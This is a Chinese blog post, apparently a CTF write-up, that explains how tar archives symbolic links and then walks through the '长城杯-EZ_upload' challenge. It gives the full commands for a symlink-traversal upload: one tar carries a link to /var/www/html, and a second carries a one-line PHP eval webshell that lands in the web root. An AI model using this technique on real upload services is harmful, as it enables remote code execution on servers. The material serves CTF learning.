当前位置: 首页 > news >正文

tar-符号连接(软连接)

1.符号连接是什么

符号链接(symbolic link,也叫软链接)本质上是一个 指向路径的特殊文件

例如:

ln -s /etc/passwd passwd_link

这会创建一个叫 passwd_link 的文件,但它本身不存放 /etc/passwd 的内容,而是存放了一个“指针”,告诉操作系统“真正的数据在 /etc/passwd 里”。当访问 passwd_link 的时候,会访问到/etc/passwd 中的内容。

如图所示,执行该命令后会在该文件夹中产生一个 passwd_link 文件,当访问该文件时,我会访问到/etc/passwd 的内容。

2. tar 打包符号链接时的处理

tar 遇到符号链接时,它 不会复制链接指向的文件内容,而是把“这是一个符号链接,它指向哪里”这一事实记录到归档里。

tar -cvf test.tar passwd_link

3.tar 解压符号连接的处理

tar -xvf test.tar# 解压到 /tmp 目录
tar -xvf archive.tar -C /tmp

tar 会在当前目录下重新创建一个符号链接 passwd_link,指向 /etc/passwd

4.实战 长城杯-EZ_upload

(1)第一次上传 tar 包

     目的:

          在 /tmp 目录下创建一个符号链接文件 link该符号链接指向:/var/www/html,访问该链接文件/tmp/link 就等价于 /var/www/html。

操作:

# 1.制作符号链接,当访问link时,相当于访问/var/www/html
ln -s /var/www/html link#2.压缩符号链接
tar -cvf test.tar link

接下来将 test.tar 上传即可,上传后会自动将该文件解压到/tmp/文件下,即/tmp/link。

(2)第一次上传 tar 包

  • 创建一个包含 webshell文件的tar包,路径设置为 link/shell.php。
  • 在/tmp 目录中解压时,会把文件解压到 /tmp/link/shell.php,由于link 是指向 /var/www/html 的,实际写入位置是 → /var/www/html/shell.php。

代码实现如下:

# 1.创建符号链接
ln -s /var/www/html link# 2.在符号链接目录下创建一个文件,实际上创建的文件落在了/var/www/html/下,
echo '<?php @eval($_POST["fly233"]); ?>' > link/shell.php# 3.打包
tar -cf evil.tar link/shell.php

文章转载自:

http://3nUc2YAO.qphdp.cn
http://Ec053vIt.qphdp.cn
http://5g5yAzQe.qphdp.cn
http://feG6D56H.qphdp.cn
http://j3H1LzrP.qphdp.cn
http://e0PTo2kA.qphdp.cn
http://dOxHhmcp.qphdp.cn
http://2QYF8HLq.qphdp.cn
http://xvfb7mt2.qphdp.cn
http://XjhB8d8W.qphdp.cn
http://344ab8vQ.qphdp.cn
http://Sp97v60T.qphdp.cn
http://aB4N8YKY.qphdp.cn
http://iYHpFLt6.qphdp.cn
http://7X8jcVb4.qphdp.cn
http://WsTZM3OO.qphdp.cn
http://yRfYlMNM.qphdp.cn
http://Fa61lDBE.qphdp.cn
http://wQoK2HlJ.qphdp.cn
http://ddRT57Rv.qphdp.cn
http://ChrvlUy7.qphdp.cn
http://hPBsx0rz.qphdp.cn
http://Fk6KCaaI.qphdp.cn
http://FzTprSEM.qphdp.cn
http://hkZAFKXG.qphdp.cn
http://rrUDbjEw.qphdp.cn
http://NZkAXKH5.qphdp.cn
http://okAsDCn8.qphdp.cn
http://JwQ78Oyh.qphdp.cn
http://4EeErANL.qphdp.cn
http://www.dtcms.com/a/385140.html

相关文章:

  • php学习 (第六天)
  • MTK Linux Charger驱动分析(二) - power_supply_core.c
  • 如何做好AI智能体
  • 邻接矩阵幂 A^m 的几何意义
  • PL3381T/PL3383T/PL3384T 12V非隔离降压型芯片(200/300/400mA)
  • 食品科技企业NotCo完成SAP系统升级 构建统一数字化平台
  • LinuxC++项目开发日志——高并发内存池(6-内存回收机制)
  • 数值计算2
  • 硬件 - oring多电源切换
  • RocketMQ-高性能消息中间件的原理
  • DevOps历程--GitLab安装与使用教程(Docker安装和编译安装两种方式)
  • 大屏可视化动图渲染
  • Claude Code生态、实战
  • 系统架构设计师备考第24天——需求工程
  • 逻辑回归模型:基于鸢尾花数据集的多分类任务全流程
  • 实战适配器模式
  • OpenLayers数据源集成 -- 章节十三:EsriJSON图层详解
  • RabbitMQ—运维篇
  • 一站式YOLO目标检测解决方案:训练、测试、推理与数据集转换全流程指南
  • lamp脚本部署
  • 前端构建工具有哪些?常用前端构建工具对比、前端构建工具推荐与最佳实践分析
  • Charles日志分析与流量监控技巧 高效排查接口与性能问题
  • ACM模式的输入部分——input().strip() 与 sys.stdin.readline() 的不同
  • ““.equals(studentID)
  • 【Lesson 3】CUDA 编程模型:线程、块、网格 —— Ubuntu 22.04 + RTX 30/40 系列实战
  • [Windows]C盘瘦身 --- 软件搬家
  • CLIP 完全上手指南:从安装、下载加速、文本/图像编码到图文匹配,一篇全搞定!
  • BKY莱德因:5大黑科技逆转时光
  • 开源嵌入模型推荐与选型指南
  • 科普:Python中为什么“from .utils” 不能写成 “from ./utils”?